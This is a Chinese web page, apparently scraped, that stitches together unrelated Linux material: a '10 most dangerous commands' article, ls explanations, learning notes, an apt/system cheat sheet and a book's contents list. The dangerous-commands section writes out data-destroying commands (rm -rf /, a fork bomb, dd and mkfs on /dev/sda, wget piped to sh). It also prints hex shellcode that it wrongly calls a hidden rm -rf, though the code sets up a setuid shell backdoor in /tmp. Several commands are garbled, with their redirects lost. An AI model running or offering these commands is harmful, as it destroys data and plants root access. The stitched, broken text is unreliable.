Linux中最危險的10個命令
成都創新互聯公司-專業網站定制、快速模板網站建設、高性價比奎屯網站開發、企業建站全套包干低至880元,成熟完善的模板庫,直接使用。一站式奎屯網站制作公司更省心,省錢,快速模板網站建設找我們,業務覆蓋奎屯地區。費用合理售后完善,十多年實體公司更值得信賴。
對于編程人員或或者Linux系統管理員來說,操作Linux系統最常見的方法就是使用命令行。當然,Linux命令行佷有用、很高效,但有時候也很危險,尤其是在你誤操作或者不確定你自己在正在做什么的時候。下面我就為大家盤點最危險是10個命令,一起來看看吧!
當然,以下命令通常都是在root權限下才能將愚蠢發揮到無可救藥;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。下列是一些rm 命令的選項。
rm 命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個人認為此處應該是說錯了,從常識看,應該是“甚至是非空的文件夾”)
rm -f 命令能不經過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權限。所以,-f這個參數 只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i參數來 要求刪除確認,而-f則抑制了這個提示。)
rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了。。。)
rm -rf *: 強制刪除當前目錄的所有文件。
rm -rf . : 強制刪除當前文件夾及其子文件夾。
從 現在起,當你要執行rm -rf命令時請留心一點。我們可以在“.bashrc”文件對‘rm‘命令創建rm -i的別名,來預防用 ‘rm‘命令刪除文件時的事故,它會要求你確認每一個刪除請求。(譯注:大多數發行版已經這樣做了,如果還沒有,請這樣做,并在使用-f參數前一定考慮好 你在做什么!譯者本人有著血淚的教訓啊。)
2. :(){:|:};: 命令
這就是個fork 炸彈的實例。具體操作是通過定義一個名為 ‘:‘的函數,它會調用自己兩次,一次在前臺另一次運行在后臺。它會反復的執行下去直到系統崩潰。
:(){:|:};:
哦?你確認你要試試么?千萬別在公司正式的服務器上實驗啊~~
3. 命令 /dev/sda
上列命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4. mv 文件夾 /dev/null
這 個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設備是一個特殊的文件,所有寫入它的數據都會被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當然,要說明的是,通過將文件夾移動到黑洞,并不能阻止 數據恢復軟件的救贖,所以,真正的`徹底毀滅,需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null
上列命令會將User目錄所有內容移動到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本并執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。
注意: 你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當遇到這種需要是,我的做法是,先wget下來,然后我去讀一讀其中到底寫了些什么,然后考慮是否執行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設備‘sda’,你無疑知道在執行上列命令后你的塊設備(硬盤驅 動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統達到不可恢復的階段。(譯注:通常不會直接使用/dev/sda這樣的設備,除非是作為raw設 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區后才使用。當然,無論你使用sda還是sda1,這樣對塊設備或分區進行mkfs都是毀 滅性的,上面的數據都會被蒸發了。)
7. file
上列命令常用來清空文件內容(譯注:通常也用于記錄命令輸出。 不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數據恢復軟件都未必能幫助你了。另外,我想你可能真正想用的是 “”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執行時輸入錯誤或無知的輸入類似 “xt.conf” 的命令會覆蓋配置文件或其他任何的系統配置文件。
8. ^foo^bar
這個命令在“鮮為人知而又實用的 Linux 命令大全:”中描述過,用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。(譯注:事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統可能陷入混亂和不可恢復的狀態。(譯注:記得上面說過mv到黑洞并不能徹底刪除數據么?那么這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實就是上面第一個命令 (rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區。
這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什么結果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學或學校的電腦里的Linux終端或Shell執行以上的任何一個命令,因為這將導致數據丟失或者系統崩潰。如果你想測試它們,請在虛擬機上運行。
;
ls [list]
這個命令就相當于dos下的dir命令一樣,這也是Linux控制臺命令中最為重要幾個命令之一。ls最常用的參數有三個: -a -l -F。
ls -a
Linux上的文件以“.”開頭的文件被系統視為隱藏文件,僅用ls命令是看不到他們的,而用ls -a除了顯示 一般文件名外,連隱藏文件也會顯示出來。
ls -l(這個參數是字母L的小寫,不是數字1)【直接輸入ll 等價于 ls -l的效果】
這個命令可以使用長格式顯示文件內容,如果需要察看更詳細的文件資料,就要用到ls -l這個指令。例如我在某個目錄下鍵入ls -l可能會顯示如下信息(最上面兩行是我自己加的):
位置1 2 3 4 5 6 7
文件屬性 文件數 擁有者 所屬者 group 文件大小 建檔日期 文件名
drwx------ 2 Guest users 1024 Nov 21 21:05 Mail
-rwx--x--x 1 root root 89080 Nov 7 22:41 tar*
-rwxr-xr-x 1 root bin 5013 Aug 15 9:32 uname*
lrwxrwxrwx 1 root root 4 Nov 24 19:30 zcat-gzip
-rwxr-xr-x 1 root bin 308364 Nov 29 7:43 zsh*
-rwsr-x--- 1 root bin 9853 Aug 15 5:46 su*
下面,我為大家解釋一下這些顯示內容的意義。
第一個欄位,表示文件的屬性。Linux的文件基本上分為三個屬性:可讀(r),可寫(w),可執行(x)。但是這里有十個格子可以添(具體程序實現時,實際上是十個bit位)。第一個小格是特殊表示格,表示目錄或連結文件等等,d表示目錄,例如drwx------;l表示連結文件,如lrwxrwxrwx;如果是以一橫“-”表示,則表示這是文件。其余剩下的格子就以每3格為一個單位。因為Linux是多用戶多任務系統,所以一個文件可能同時被許多人使用,所以我們一定要設好每個文件的權限,其文件的權限位置排列順序是(以-rwxr-xr-x為例):
rwx(Owner)r-x(Group)r-x(Other)
這個例子表示的權限是:使用者自己可讀,可寫,可執行;同一組的用戶可讀,不可寫,可執行;其它用戶可讀,不可寫,可執行。另外,有一些程序屬性的執行部分不是X,而是S,這表示執行這個程序的使用者,臨時可以有和擁有者一樣權力的身份來執行該程序。一般出現在系統管理之類的指令或程序,讓使用者執行時,擁有root身份。
第二個欄位,表示文件個數。如果是文件的話,那這個數目自然是1了,如果是目錄的話,那它的數目就是該目錄中的文件個數了。
第三個欄位,表示該文件或目錄的擁有者。若使用者目前處于自己的Home,那這一欄大概都是它的賬號名稱。
第四個欄位,表示所屬的組(group)。每一個使用者都可以擁有一個以上的組,不過大部分的使用者應該都只屬于一個組,只有當系統管理員希望給予某使用者特殊權限時,才可能會給他另一個組。
第五欄位,表示文件大小。文件大小用byte來表示,而空目錄一般都是1024byte,你當然可以用其它參數使文件顯示的單位不同,如使用ls –k就是用kb來顯示一個文件的大小單位,不過一般我們還是以byte為主。
第六個欄位,表示創建日期。以“月,日,時間”的格式表示,如Aug 15 5:46表示8月15日早上5:46分。
第七個欄位,表示文件名。我們可以用ls –a顯示隱藏的文件名。
ls –F(注意,是大寫的F)
使用這個參數表示在文件的后面多添加表示文件類型的符號,例如*表示可執行,/表示目錄,@表示連結文件,這都是因為使用了-F這個參數。但是現在基本上所有的Linux發行版本的ls都已經內建了-F參數,也就是說,不用輸入這個參數,我們也能看到各種分辨符號。
這是繼我前面文章 繼續反思:如何才能入門生信? 中提到的學習方案,在這里貫徹一下。第一部分就是linux學習,這里推薦的是 北京大學羅靜初老師的教學資料 。
這個命令可以說我用過很多遍了,但是我僅僅只會 mkdir filename
說實話,刪除文件夾寶寶一直用的是 rm -r [directory] ,要小心 rm -rf 哦,需要注意的是rmdir是刪除空的文件夾哦。
cd的花樣用法,這些我都用過。
只用過 cat 來打開文件,估計其他另個命令使用的機會不多,先記下來了。
當文件非常大的時候,cat打開會滿屏幕滾動,使用 less ,可以比較方便的閱讀文件。
果然是超級常用呀~
這是我唯一沒有使用過的命令。顧名思義,是用們來更改權限的命令,使用這個命令還需要明白,一個文件或者目錄是有3個權限的,可讀(read, r),可寫(write, w),可執行(x),這三個權限還可以用八進制表示,詳細用法需要自行查詢:
1.1 pwd命令
該命令的英文解釋為print working directory(打印工作目錄)。輸入pwd命令,Linux會輸出當前目錄。
1.2 cd命令
cd命令用來改變所在目錄。
cd / 轉到根目錄中
cd ~ 轉到/home/user用戶目錄下
cd /usr 轉到根目錄下的usr目錄中-------------絕對路徑
cd test 轉到當前目錄下的test子目錄中-------相對路徑
1.3 ls命令
ls命令用來查看目錄的內容。 選項 含義 -a 列舉目錄中的全部文件,包括隱藏文件 -l 列舉目錄中的細節,包括權限、所有者、組群、大小、創建日期、文件是否是鏈接等 -f 列舉的文件顯示文件類型 -r 逆向,從后向前地列舉目錄中內容 -R 遞歸,該選項遞歸地列舉當前目錄下所有子目錄內的內容 -s 大小,按文件大小排序 -h 以人類可讀的方式顯示文件的大小,如用K、M、G作單位 ls -l examples.doc 列舉文件examples.doc的所有信息
1.4 cat命令
cat命令可以用來合并文件,也可以用來在屏幕上顯示整個文件的內容。
cat snow.txt 該命令顯示文件snow.txt的內容,ctrl+D退出cat。
1.5 grep命令
grep命令的最大功能是在一堆文件中查找一個特定的字符串。
grep money test.txt
以上命令在test.txt中查找money這個字符串,grep查找是區分大小寫的。
1.6 touch命令
touch命令用來創建新文件,他可以創建一個空白的文件,可以在其中添加文本和數據。
touch newfile 該命令創建一個名為newfile的空白文件。
1.7 cp命令
cp命令用來拷貝文件,要復制文件,輸入命令:
cp source filename target filename
cp t.txt Document/t 該命令將把文件t.txt復制到Document目錄下,并命名為t。 選項 含義 -i 互動:如果文件將覆蓋目標中的文件,他會提示確認 -r 遞歸:這個選項會復制整個目錄樹、子目錄以及其他 -v 詳細:顯示文件的復制進度
1.8 mv命令
mv命令用來移動文件。 選項 說明 -i 互動:如果選擇的文件會覆蓋目標中的文件,他會提示確認 -f 強制:它會超越互動模式,不提示地移動文件,屬于很危險的選項 -v 詳細:顯示文件的移動進度
mv t.txt Document 把文件t.txt 移動到目錄Document中。
1.9 rm命令
rm命令用來刪除文件。 選項 說明 -i 互動:提示確認刪除 -f 強制:代替互動模式,不提示確認刪除 -v 詳細:顯示文件的刪除進度 -r 遞歸:將刪除某個目錄以及其中所有的文件和子目錄
rm t.txt 該命令刪除文件t.txt
1.10 rmdir命令
rmdir命令用來刪除目錄。
Linux安裝基本命令大全
Linux常用命令,你還能記得多少呢?下文是我為大家準備的Linux常用命令,一起來看看吧!
安裝升級
查看軟件xxx安裝內容
dpkg -L xxx
查找軟件庫中的軟件
apt-cache search 正則表達式
或
aptitude search 軟件包
顯示系統安裝包的統計信息
apt-cache stats
顯示系統全部可用包的名稱
apt-cache pkgnames
顯示包的信息
apt-cache show k3b
查找文件屬于哪個包
dpkg -S filename
apt-file search filename
查看已經安裝了哪些包
dpkg -l
也可用
dpkg -l | less
翻頁查看
查詢軟件xxx依賴哪些包
apt-cache depends xxx
查詢軟件xxx被哪些包依賴
apt-cache rdepends xxx
增加一個光盤源
sudo apt-cdrom add
系統更新
sudo apt-get update (這一步更新包列表)
sudo apt-get dist-upgrade (這一步安裝所有可用更新)
或者
sudo apt-get upgrade (這一步安裝應用程序更新,不安裝新內核等)
清除所有已刪除包的殘馀配置文件
dpkg -l |grep ^rc|awk '{print $2}' |sudo xargs dpkg -P
如果報如下錯誤,證明你的系統中沒有殘留配置文件了,無須擔心。
----------------------------------------------------------
dpkg: --purge needs at least one package name argument
Type dpkg --help for help about installing and deinstalling packages [*];
Use `dselect' or `aptitude' for user-friendly package management;
Type dpkg -Dhelp for a list of dpkg debug flag values;
Type dpkg --force-help for a list of forcing options;
Type dpkg-deb --help for help about manipulating *.deb files;
Type dpkg --license for copyright license and lack of warranty (GNU GPL) [*].
Options marked [*] produce a lot of output - pipe it through `less' or `more' !
----------------------------------------------------------
編譯時缺少h文件的自動處理
sudo auto-apt run ./configure
查看安裝軟件時下載包的臨時存放目錄
ls /var/cache/apt/archives
備份當前系統安裝的所有包的列表
dpkg --get-selections | grep -v deinstall ~/somefile
從上面備份的安裝包的列表文件恢復所有包
dpkg --set-selections ~/somefile
sudo dselect
清理舊版本的軟件緩存
sudo apt-get autoclean
清理所有軟件緩存
sudo apt-get clean
刪除系統不再使用的孤立軟件
sudo apt-get autoremove
如果使用
sudo apt-get autoremove --purge
的話會把這些孤立軟件的殘留配置文件也一并移除
查看包在服務器上面的地址
apt-get -qq --print-uris download 軟件包名稱 | cut -d\' -f2
徹底刪除Gnome
sudo apt-get --purge remove liborbit2
徹底刪除KDE
sudo apt-get --purge remove libqt3-mt libqtcore4
一鍵安裝 LAMP 服務
sudo tasksel install lamp-server
刪除舊內核
sudo aptitude purge ~ilinux-image-.*\(\!\(`uname -r`\|generic-.*\)\)
導入ppa源的'key值
#W: GPG簽名驗證錯誤: jaunty Release: 由于沒有公鑰,下列簽名無法進行驗證: NO_PUBKEY 5126890CDCC7AFE0
sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 5126890CDCC7AFE0 #5126890CDCC7AFE0替換為你需要導入的Key值
增加 add-apt-repository 命令
sudo apt-get install software-properties-common
增加一個ppa源
sudo add-apt-repository ppa:user/ppa-name
#使用 ppa 的地址替換 ppa:user/ppa-name
添加163鏡像源
sudo add-apt-repository "deb `lsb_release -cs` main restricted universe multiverse"
sudo add-apt-repository "deb `lsb_release -cs`-updates main restricted universe multiverse"
sudo add-apt-repository "deb `lsb_release -cs`-security main restricted universe multiverse"
系統升級
1 這里指的是版本間的升級,例如 9.04=10.04。
2 使用該升級方式通常需要使用 backports 源。
sudo apt-get update
sudo apt-get install update-manager-core
sudo do-release-upgrade
系統
查看內核
uname -a
查看系統是32位還是64位
#查看long的位數,返回32或64
getconf LONG_BIT
#查看文件信息,包含32-bit就是32位,包含64-bit就是64位
file /sbin/init
或者使用
uname -m
查看Ubuntu版本
lsb_release -a
或 cat /etc/lsb-release
查看內核加載的模塊
lsmod
查看PCI設備
lspci
查看USB設備
lsusb
#加參數 -v 可以顯示USB設備的描述表(descriptors)
lsusb -v
查看網卡狀態
sudo apt-get install ethtool
sudo ethtool eth0
激活網卡的 Wake-on-LAN
sudo apt-get install wakeonlan
或 sudo ethtool -s eth0 wol g
查看CPU信息
cat /proc/cpuinfo
顯示當前硬件信息
sudo lshw
查看內存型號
sudo dmidecode -t memory
獲取CPU序列號或者主板序列號
#CPU ID
sudo dmidecode -t 4 | grep ID
#Serial Number
sudo dmidecode | grep Serial
#CPU
sudo dmidecode -t 4
#BIOS
sudo dmidecode -t 0
#主板:
sudo dmidecode -t 2
#OEM:
sudo dmidecode -t 11
顯示當前內存大小
free -m |grep "Mem" | awk '{print $2}'
查看硬盤溫度
sudo apt-get install hddtemp
sudo hddtemp /dev/sda
顯示系統運行時間
uptime
查看系統限制
ulimit -a
查看內核限制
ipcs -l
查看當前屏幕分辨率
xrandr
硬盤
查看塊設備
lsblk
查看硬盤的分區
sudo fdisk -l
硬盤分區
#危險!小心操作。
sudo fdisk /dev/sda
硬盤格式化
#危險!將第一個分區格式化為 ext3 分區, mkfs.reiserfs mkfs.xfs mkfs.vfat
sudo mkfs.ext3 /dev/sda1
硬盤檢查
#危險!檢查第一個分區,請不要檢查已經掛載的分區,否則容易丟失和損壞數據
sudo fsck /dev/sda1
硬盤壞道檢測
sudo badblocks -s -v -c 32 /dev/sdb
#得到壞的塊后,使用分區工具隔離壞道。
分區掛載
sudo mount -t 文件系統類型 設備路經 訪問路經
#常用文件類型如下: iso9660 光驅文件系統, vfat fat/fat32分區, ntfs ntfs分區, smbfs windows網絡共享目錄, reiserfs、ext3、xfs Linux分區
#如果中文名無法顯示嘗試在最後增加 -o nls=utf8 或 -o iocharset=utf8
#如果需要掛載後,普通用戶也可以使用,在 -o 的參數後面增加 ,umask=022 如:-o nls=utf8,umask=022
分區卸載
sudo umount 目錄名或設備名
只讀掛載ntfs分區
sudo mount -t ntfs -o nls=utf8,umask=0 /dev/sdb1 /mnt/c
可寫掛載ntfs分區
sudo mount -t ntfs-3g -o locale=zh_CN.utf8,umask=0 /dev/sdb1 /mnt/c
掛載fat32分區
sudo mount -t vfat -o iocharset=utf8,umask=0 /dev/sda1 /mnt/c
掛載共享文件
sudo mount -t smbfs -o username=xxx,password=xxx,iocharset=utf8 //192.168.1.1/share /mnt/share
掛載ISO文件
sudo mount -t iso9660 -o loop,utf8 xxx.iso /mnt/iso
查看IDE硬盤信息
sudo hdparm -i /dev/sda
查看軟raid陣列信息
cat /proc/mdstat
參看硬raid陣列信息
dmesg |grep -i raid
cat /proc/scsi/scsi
查看SATA硬盤信息
sudo hdparm -I /dev/sda
或
sudo apt-get install blktool
sudo blktool /dev/sda id
查看硬盤剩余空間
df
df --help 顯示幫助
查看目錄占用空間
du -hs 目錄名
閃盤沒法卸載
sync
fuser -km /media/閃盤卷標
使用文件來增加交換空間
#創建一個512M的交換文件 /swapfile
sudo dd if=/dev/zero of=/swapfile bs=1M count=512
sudo mkswap /swapfile
sudo swapon /swapfile
#sudo vim /etc/fstab #加到fstab文件中讓系統引導時自動啟動
/swapfile swap swap defaults 0 0
查看硬盤當前讀寫情況
# 首先安裝 sysstat 包
sudo apt-get install sysstat
#每2秒刷新一次
sudo iostat -x 2
測試硬盤的實際寫入速度
dd if=/dev/zero of=test bs=64k count=512 oflag=dsync
進程
查看當前的內存使用情況
free
連續監視內存使用情況
watch -d free
# 使用 Ctrl + c 退出
動態顯示進程執行情況
top
top指令運行時輸入H或?打開幫助窗口,輸入Q退出指令。
查看當前有哪些進程
ps -AFL
查看進程的啟動時間
ps -A -opid,stime,etime,args
查看目前登入用戶運行的程序
w
查看當前用戶程序實際內存占用,并排序
ps -u $USER -o pid,rss,cmd --sort -rss
統計程序的內存耗用
ps -eo fname,rss|awk '{arr[$1]+=$2} END {for (i in arr) {print i,arr[i]}}'|sort -k2 -nr
按內存從大到小排列進程
ps -eo "%C : %p : %z : %a"|sort -k5 -nr
列出前十個最耗內存的進程
ps aux | sort -nk +4 | tail
按cpu利用率從大到小排列進程
ps -eo "%C : %p : %z : %a"|sort -nr
ps aux --sort -pcpu |head -n 20
查看當前進程樹
pstree
中止一個進程
kill 進程號(就是ps -A中的第一列的數字)
或者 killall 進程名
強制中止一個進程(在上面進程中止不成功的時候使用)
kill -9 進程號
或者 killall -9 進程名
圖形方式中止一個程序
xkill 出現骷髏標志的鼠標,點擊需要中止的程序即可
查看進程打開的文件
lsof -p 進程的pid
顯示開啟文件abc.txt的進程
lsof abc.txt
顯示22端口現在運行什么程序
lsof -i :22
顯示nsd進程現在打開的文件
lsof -c nsd
在後臺運行程序,退出登錄後,并不結束程序
nohup 程序
#查看中間運行情況 tail nohup
在后臺運行交互式程序,退出登錄后,并不結束程序
sudo apt-get install screen
screen vim a.txt
#直接退出后使用
screen -ls # 2208pxs-0.ubuntu (Detached)
screen -r 1656 #恢復
#熱鍵,同時按下Ctrl和a鍵結束后,再按下功能鍵
C-a ? #顯示所有鍵綁定信息
C-a w #顯示所有窗口列表
C-a C-a #切換到之前顯示的窗口
C-a c #創建一個新的運行shell的窗口并切換到該窗口
C-a n #切換到下一個窗口
C-a p #切換到前一個窗口(與C-a n相對)
C-a 0..9 #切換到窗口0..9
C-a a #發送 C-a到當前窗口
C-a d #暫時斷開screen會話
C-a k #殺掉當前窗口
在后臺運行交互式程序,退出登錄后,并不結束程序
tmux 進入后再運行其它命令
tmux attach #恢復
#熱鍵,同時按下Ctrl和b鍵結束后,再按下功能鍵
C-b c #創建一個新的運行shell的窗口并切換到該窗口
C-b n #切換到下一個窗口
C-b p #切換到前一個窗口(與C-a n相對)
C-b 0..9 #切換到窗口0..9
C-b d #暫時斷開會話
C-b #殺掉當前窗口
詳細顯示程序的運行信息
strace -f -F -o outfile
增加系統最大打開文件個數
#ulimit -SHn
sudo vim /etc/security/limits.conf
文件尾追加
* hard nofile 4096
* soft nofile 4096
sudo vim /etc/pam.d/su
將 pam_limits.so 這一行注釋去掉
重起系統
清除僵尸進程
ps -eal | awk '{ if ($2 == "Z") {print $4}}' | xargs sudo kill -9
將大于120M內存的php-cgi都殺掉
ps -eo pid,fname,rss|grep php-cgi|grep -v grep|awk '{if($3=120000) print $1}' | xargs sudo kill -9
Linux系統中如何限制用戶進程CPU占用率
renice +10 `ps aux | awk '{ if ($3 0.8 id -u $1 500) print $2}'`
#或直接編輯/etc/security/limits.conf文件。 ;
Linux運維人員必會的120個命令
來自《跟老男孩學Linux運維:核心系統命令實戰》一書
前言
第1章 Linux命令行簡介 / 1
1.1Linux命令行概述 / 1
1.2在Linux命令行下查看命令幫助 / 4
1.3Linux shutdown reboot halt / 9
關機:
shutdown -h now
halt
init 0
第2章 文件和目錄操作命令 / 13
2.1pwd:顯示當前所在的位置 / 13
2.2cd:切換目錄 / 16
2.3tree:以樹形結構顯示目錄下的內容 / 18
2.4mkdir:創建目錄 / 22
2.5touch:創建空文件或改變文件的時間戳屬性 / 27
2.6ls:顯示目錄下的內容及相關屬性信息 / 30
2.7cp:復制文件或目錄 / 39
2.8mv:移動或重命名文件 / 42
2.9rm:刪除文件或目錄 / 45
2.10rmdir:刪除空目錄 / 48
2.11ln:硬鏈接與軟鏈接 / 49
2.12readlink:查看符號鏈接文件的內容 / 54
2.13find:查找目錄下的文件 / 55
2.14xargs:將標準輸入轉換成命令行參數 / 68
2.15rename:重命名文件 / 71
2.16basename:顯示文件名或目錄名 / 72
2.17dirname:顯示文件或目錄路徑 / 72
2.18chattr:改變文件的擴展屬性 / 73
2.19lsattr:查看文件擴展屬性 / 75
2.20file:顯示文件的類型 / 76
2.21md5sum:計算和校驗文件的MD5值 / 77
2.22chown:改變文件或目錄的用戶和用戶組 / 80
2.23chmod:改變文件或目錄權限 / 81
2.24chgrp:更改文件用戶組 / 85
2.25umask:顯示或設置權限掩碼 / 86
2.26老男孩從新手成為技術大牛的心法 / 90
第3章 文件過濾及內容編輯處理命令 / 91
3.1cat:合并文件或查看文件內容 / 91
3.2tac:反向顯示文件內容 / 103
3.3more:分頁顯示文件內容 / 104
3.4less:分頁顯示文件內容 / 107
3.5head:顯示文件內容頭部 / 109
3.6tail:顯示文件內容尾部 / 111
3.7tailf:跟蹤日志文件 / 114
3.8cut:從文本中提取一段文字并輸出 / 115
3.9split:分割文件 / 117
3.10paste:合并文件 / 118
3.11sort:文本排序 / 123
3.12join:按兩個文件的相同字段合并 / 127
3.13uniq:去除重復行 / 129
3.14wc:統計文件的行數、單詞數或字節數 / 131
3.15iconv:轉換文件的編碼格式 / 133
3.16dos2unix:將DOS格式文件轉換成UNIX格式 / 134
3.17diff:比較兩個文件的不同 / 135
3.18vimdiff:可視化比較工具 / 138
3.19rev:反向輸出文件內容 / 139
3.20tr:替換或刪除字符 / 140
3.21od:按不同進制顯示文件 / 143
3.22tee:多重定向 / 145
3.23vi/vim:純文本編輯器 / 147
3.24老男孩逆襲思想:做Linux運維的多個好處 / 152
第4章 文本處理三劍客 / 153
4.1grep:文本過濾工具 / 153
4.2sed:字符流編輯器 / 159
4.3awk基礎入門 / 165
第5章 Linux信息顯示與搜索文件命令 / 176
5.1uname:顯示系統信息 / 176
5.2hostname:顯示或設置系統的主機名 / 178
5.3dmesg:系統啟動異常診斷 / 179
5.4stat:顯示文件或文件系統狀態 / 181
5.5du:統計磁盤空間使用情況 / 183
5.6date:顯示與設置系統時間 / 186
5.7echo:顯示一行文本 / 190
5.8watch:監視命令執行情況 / 193
5.9which:顯示命令的全路徑 / 195
5.10whereis:顯示命令及其相關文件全路徑 / 196
5.11locate:快速定位文件路徑 / 197
5.12updatedb:更新mlocate數據庫 / 199
5.13老男孩逆襲思想:新手在工作中如何問問題不會被鄙視 / 200
第6章 文件備份與壓縮命令 / 201
6.1tar:打包備份 / 201
6.2gzip:壓縮或解壓文件 / 208
6.3zip:打包和壓縮文件 / 211
6.4unzip:解壓zip文件 / 212
6.5scp:遠程文件復制 / 214
6.6rsync:文件同步工具 / 216
6.7老男孩逆襲思想:新手如何高效地提問 / 220
第7章 Linux用戶管理及用戶信息查詢命令 / 222
7.1 useradd:創建用戶 / 222
7.2usermod:修改用戶信息 / 227
7.3userdel:刪除用戶 / 229
7.4groupadd:創建新的用戶組 / 230
7.5groupdel:刪除用戶組 / 231
7.6passwd:修改用戶密碼 / 232
7.7chage:修改用戶密碼有效期 / 237
7.8chpasswd:批量更新用戶密碼 / 238
7.9su:切換用戶 / 240
7.10visudo:編輯sudoers文件 / 242
7.11sudo:以另一個用戶身份執行命令 / 244
7.12id:顯示用戶與用戶組的信息 / 248
7.13w:顯示已登錄用戶信息 / 249
7.14who:顯示已登錄用戶信息 / 250
7.15users:顯示已登錄用戶 / 252
7.16whoami:顯示當前登錄的用戶名 / 253
7.17last:顯示用戶登錄列表 / 253
7.18lastb:顯示用戶登錄失敗的記錄 / 254
7.19lastlog:顯示所有用戶的最近登錄記錄 / 255
第8章 Linux磁盤與文件系統管理命令 / 257
8.1fdisk:磁盤分區工具 / 257
8.2partprobe:更新內核的硬盤分區表信息 / 265
8.3tune2fs:調整ext2/ext3/ext4文件系統參數 / 266
8.4parted:磁盤分區工具 / 268
8.5mkfs:創建Linux文件系統 / 272
8.6dumpe2fs:導出ext2/ext3/ext4文件系統信息 / 274
8.7resize2fs:調整ext2/ext3/ext4文件系統大小 / 275
8.8fsck:檢查并修復Linux文件系統 / 278
8.9dd:轉換或復制文件 / 281
8.10mount:掛載文件系統 / 284
8.11umount:卸載文件系統 / 288
8.12df:報告文件系統磁盤空間的使用情況 / 289
8.13mkswap:創建交換分區 / 293
8.14swapon:激活交換分區 / 294
8.15swapoff:關閉交換分區 / 295
8.16sync:刷新文件系統緩沖區 / 296
第9章 Linux進程管理命令 / 298
9.1ps:查看進程 / 298
9.2pstree:顯示進程狀態樹 / 305
9.3pgrep:查找匹配條件的進程 / 306
9.4kill:終止進程 / 307
9.5killall:通過進程名終止進程 / 310
9.6pkill:通過進程名終止進程 / 311
9.7top:實時顯示系統中各個進程的資源占用狀況 / 313
9.8nice:調整程序運行時的優先級 / 320
9.9renice:調整運行中的進程的優先級 / 323
9.10nohup:用戶退出系統進程繼續工作 / 324
9.11strace:跟蹤進程的系統調用 / 325
9.12ltrace:跟蹤進程調用庫函數 / 332
9.13runlevel:輸出當前運行級別 / 334
9.14init:初始化Linux進程 / 335
9.15service:管理系統服務 / 335
第10章 Linux網絡管理命令 / 338
10.1ifconfig:配置或顯示網絡接口信息 / 338
10.2ifup:激活網絡接口 / 343
ifup eth0
10.3ifdown:禁用網絡接口 / 343
ifdown eth0
service network restart(/etc/init.d/network restart) 激活整個網絡,所有網卡。
10.4route:顯示或管理路由表 / 344
10.5arp:管理系統的arp緩存 / 350
10.6ip:網絡配置工具 / 351
10.7netstat:查看網絡狀態 / 358
10.8ss:查看網絡狀態 / 362
10.9ping:測試主機之間網絡的連通性 / 363
10.10traceroute:追蹤數據傳輸路由狀況 / 366
10.11arping:發送arp請求 / 367
10.12telnet:遠程登錄主機 / 369
10.13nc:多功能網絡工具 / 370
10.14ssh:安全地遠程登錄主機 / 373
10.15wget:命令行下載工具 / 376
10.16mailq:顯示郵件傳輸隊列 / 379
10.17mail:發送和接收郵件 / 381
10.18nslookup:域名查詢工具 / 386
10.19dig:域名查詢工具 / 389
10.20host:域名查詢工具 / 393
10.21nmap:網絡探測工具和安全/端口掃描器 / 394
10.22tcpdump:監聽網絡流量 / 398
第11章 Linux系統管理命令 / 407
11.1lsof:查看進程打開的文件 / 407
11.2uptime:顯示系統的運行時間及負載 / 411
11.3free:查看系統內存信息 / 411
11.4iftop:動態顯示網絡接口流量信息 / 413
11.5vmstat:虛擬內存統計 / 415
11.6mpstat:CPU信息統計 / 419
11.7iostat:I/O信息統計 / 420
11.8iotop:動態顯示磁盤I/O統計信息 / 423
11.9sar:收集系統信息 / 425
11.10chkconfig:管理開機服務 / 430
